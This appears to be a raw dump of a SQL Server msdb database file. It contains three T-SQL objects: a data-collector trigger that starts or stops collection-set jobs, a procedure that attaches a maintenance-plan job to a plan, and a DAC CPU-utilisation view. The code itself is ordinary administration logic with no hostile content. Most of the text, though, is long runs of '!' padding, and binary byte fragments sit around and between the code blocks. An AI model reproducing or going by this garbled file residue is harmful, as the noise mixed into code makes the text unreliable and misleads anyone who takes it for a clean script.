!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!#`P<kQCS0Ff8 8
CREATE TRIGGER [dbo].[syscollector_collection_set_is_running_update_trigger] on [dbo].[syscollector_collection_sets_internal]
WITH EXECUTE AS OWNER -- 'MS_DataCollectorInternalUser'
FOR UPDATE
AS
BEGIN
    DECLARE @collection_set_id INT
    DECLARE @is_running BIT
    DECLARE @old_is_running BIT
    DECLARE @collection_mode SMALLINT

    IF (NOT UPDATE (is_running))
       RETURN

    DECLARE @collector_enabled int
    SET @collector_enabled = CONVERT(int, (SELECT parameter_value FROM dbo.syscollector_config_store_internal
                            WHERE parameter_name = 'CollectorEnabled'))
    IF @collector_enabled = 0
    BEGIN
        -- flipping the is_running bit has no effect when the collector is disabled
        RAISERROR(14682, 10, -1) -- severity 10 emits a warning
    END
    ELSE
    BEGIN
        DECLARE inserted_cursor CURSOR LOCAL FOR 
            SELECT collection_set_id, is_running, collection_mode
            FROM inserted 

        OPEN inserted_cursor
        FETCH inserted_cursor INTO @collection_set_id, @is_running, @collection_mode
        
        WHILE @@FETCH_STATUS = 0 
        BEGIN
            SELECT @old_is_running = is_running FROM deleted WHERE collection_set_id = @collection_set_id

            -- If there is a change in the state, handle accordingly
            IF (@old_is_running <> @is_running)
            BEGIN
                IF (@is_running = 0)
                BEGIN
                    EXEC dbo.sp_syscollector_stop_collection_set_jobs @collection_set_id = @collection_set_id
                END
                ELSE IF (@is_running = 1)
                BEGIN              
                    EXEC dbo.sp_syscollector_start_collection_set_jobs @collection_set_id = @collection_set_id
                END
            END

            FETCH inserted_cursor INTO @collection_set_id, @is_running, @collection_mode
        END    

        CLOSE inserted_cursor
        DEALLOCATE inserted_cursor
    END
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`S5<eRL^009 E8CREATE PROCEDURE sp_add_maintenance_plan_job
  @plan_id UNIQUEIDENTIFIER,
  @job_id  UNIQUEIDENTIFIER
AS
BEGIN
  DECLARE @syserr varchar(100)
  /*check if the @plan_id is valid*/
  IF (NOT EXISTS(SELECT plan_id
                 FROM msdb.dbo.sysdbmaintplans
                 WHERE plan_id=@plan_id))
  BEGIN
    SELECT @syserr=CONVERT(VARCHAR(100),@plan_id)
    RAISERROR(14262,-1,-1,'@plan_id',@syserr)
    RETURN(1)
  END
  /*check if the @job_id is valid*/
  IF (NOT EXISTS(SELECT job_id
                 FROM msdb.dbo.sysjobs
                 WHERE job_id=@job_id))
  BEGIN
    SELECT @syserr=CONVERT(VARCHAR(100),@job_id)
    RAISERROR(14262,-1,-1,'@job_id',@syserr)
    RETURN(1)
  END
  /*check if the job has at least one step calling xp_sqlmaint*/
  DECLARE @maxind INT
  SELECT @maxind=(SELECT MAX(CHARINDEX('xp_sqlmaint', command))
                FROM  msdb.dbo.sysjobsteps
                WHERE @job_id=job_id)
  IF (@maxind<=0)
  BEGIN
    /*print N'Warning: The job is not for maitenance plan.' -- will add the new sysmessage here*/
    SELECT @syserr=CONVERT(VARCHAR(100),@job_id)
    RAISERROR(14199,-1,-1,@syserr)
    RETURN(1)
  END
  INSERT INTO msdb.dbo.sysdbmaintplan_jobs(plan_id,job_id) VALUES (@plan_id, @job_id) --don't have to check duplicate here
END
0Ӟ: +8(getdate())0d7: $8('')0:: q8
CREATE VIEW [dbo].[sysutility_ucp_dac_cpu_utilizations]
AS
SELECT
   dac.dac_name AS dac_name, 
   dac.dac_server_instance_name AS server_instance_name, 
   10 AS under_utilization, 
   dac.dac_percent_total_cpu_utilization AS current_utilization, 
   70 AS over_utilization
 FROM	msdb.dbo.sysutility_ucp_deployed_dacs AS dac
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!